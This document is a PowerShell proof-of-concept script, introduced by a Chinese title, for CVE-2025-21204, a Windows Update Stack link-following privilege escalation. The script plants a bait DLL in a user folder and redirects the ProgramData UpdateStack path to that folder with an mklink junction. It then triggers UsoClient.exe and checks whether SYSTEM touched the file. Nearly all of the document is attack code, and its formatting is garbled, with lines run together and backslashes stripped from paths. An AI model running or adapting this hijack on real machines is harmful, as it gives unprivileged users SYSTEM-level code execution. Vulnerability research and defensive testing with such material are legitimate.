CVE-2025-21204：通过 Windows 更新堆栈中的不当链接跟踪进行权限提升

<#.SYNOPSIS    CVE-2025-21204 exploit simulation for non-admin users via junction-based path hijack..DESCRIPTION    Drops a bait payload in a user-controlled directory, creates a junction to hijack the Update Stack path,    and triggers the update process to testif SYSTEM accesses the payload.    The script provide the poc that allows to run this actions. .AUTHOR    Elli Shlomo#># Paths$trapPath      = "$env:APPDATAMicrosoftUpdateStackTasks"$updateStackRealPath = "C:ProgramDataMicrosoftUpdateStackTasks"$payloadPath   = "$trapPathUpdateStackAgent.dll"$proofPath     = "C:UsersPubliccve2025-proof.log"$logPath       = "$env:APPDATACVE2025simulation.log"$evidencePath  = "$env:APPDATACVE2025evidence.txt"$verdictPath   = "$env:APPDATACVE2025vulnerable.txt"$verboseLog    = "$env:TEMPcve2025-verbose.log"# IntroWrite-Host "`n[*] CVE-2025-21204 Exploit Simulation (Non-Admin)"Write-Host "[*] Trap directory : $trapPath"Write-Host "[*] Payload DLL path : $payloadPath"Write-Host "[*] SYSTEM proof file : $proofPath"Write-Host "[*] Simulation log : $logPath"Write-Host "[*] Evidence file : $evidencePath"Write-Host "[*] Verdict result : $verdictPath"Write-Host "[*] Verbose transcript : $verboseLog`n"# Start transcriptStart-Transcript -Path $verboseLog -Force# Ensure directories existWrite-Host "[*] Creating necessary directories..."New-Item -Path $trapPath -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-NullNew-Item -Path (Split-Path $logPath) -ItemType Directory -Force -ErrorAction SilentlyContinue | Out-NullWrite-Host "[+] Directories ready.`n"# Payload content$payload = @"Payload executed by SYSTEM at: $(Get-Date)"@# Write bait payloadWrite-Host "[*] Writing payload to: $payloadPath"$payload | Out-File -FilePath $payloadPath -Encoding ASCII$payload | Out-File -FilePath $proofPath -AppendWrite-Host "[+] Payload written.`n"# Simulation metadata log$log = @"CVE-2025-21204 Exploit Simulation-------------------------------------Date : $(Get-Date)Payload File : $payloadPathHijack Path : $updateStackRealPathProof File : $proofPath"@Set-Content -Path $logPath -Value $log -Encoding UTF8 -ForceWrite-Host "[+] Simulation metadata saved.`n"# Attempt junction creation (non-admin safe)Write-Host "[*] Attempting junction (no admin)..."if (-not (Test-Path $updateStackRealPath)) {    try {$cmd = "cmd.exe /c mklink /J `"$updateStackRealPath`" `"$trapPath`""        Start-Process -FilePath "cmd.exe" -ArgumentList "/c mklink /J `"$updateStackRealPath`" `"$trapPath`"" -NoNewWindow -Wait        Write-Host "[+] Junction created: $updateStackRealPath → $trapPath"    } catch {        Write-Host "[-] Failed to create junction: $_"    }} else {    Write-Host "[!] Target path already exists: $updateStackRealPath"    Write-Host "[-] Cannot create junction unless folder is removed by SYSTEM update cleanup."}Write-Host ""# Trigger updateWrite-Host "[*] Triggering UsoClient.exe (StartScan)..."try {    Start-Process UsoClient.exe -ArgumentList StartScan -WindowStyle Hidden    Write-Host "[+] UsoClient.exe started.`n"} catch {    Write-Host "[-] Failed to trigger UsoClient.exe: $_"}# Monitor for SYSTEM processWrite-Host "[*] Monitoring for SYSTEM process MoUsoCoreWorker.exe..."$found = $falsefor ($i = 1; $i -le 6; $i++) {    Start-Sleep -Seconds 5    Write-Host "[=] Attempt ${i}: Checking..."if (Get-Process -Name "MoUsoCoreWorker" -ErrorAction SilentlyContinue) {        Write-Host "[!] SYSTEM process detected: MoUsoCoreWorker.exe"$found = $truebreak    }}Start-Sleep -Seconds 5# Check for successWrite-Host "`n[*] Analyzing payload execution..."if (Test-Path $proofPath) {$owner = (Get-Acl $proofPath).Owner$timestamp = (Get-Item $proofPath).LastWriteTime$details = @"[+] Exploit successfulPayload executed as: $ownerLast Modified: $timestamp"@    Set-Content -Path $verdictPath -Value $true    Write-Host "[✓] SUCCESS: SYSTEM likely accessed the payload."} else {$details = @"[!] Exploit failedNo proof file found.Time: $(Get-Date)"@    Set-Content -Path $verdictPath -Value $false    Write-Host "[✗] FAILURE: Payload was not executed by SYSTEM."}# Save evidenceSet-Content -Path $evidencePath -Value $details -Encoding UTF8Write-Host "[*] Forensic evidence saved: $evidencePath"# EndStop-TranscriptWrite-Host "`n[✓] Simulation complete. See verbose log: $verboseLog`n"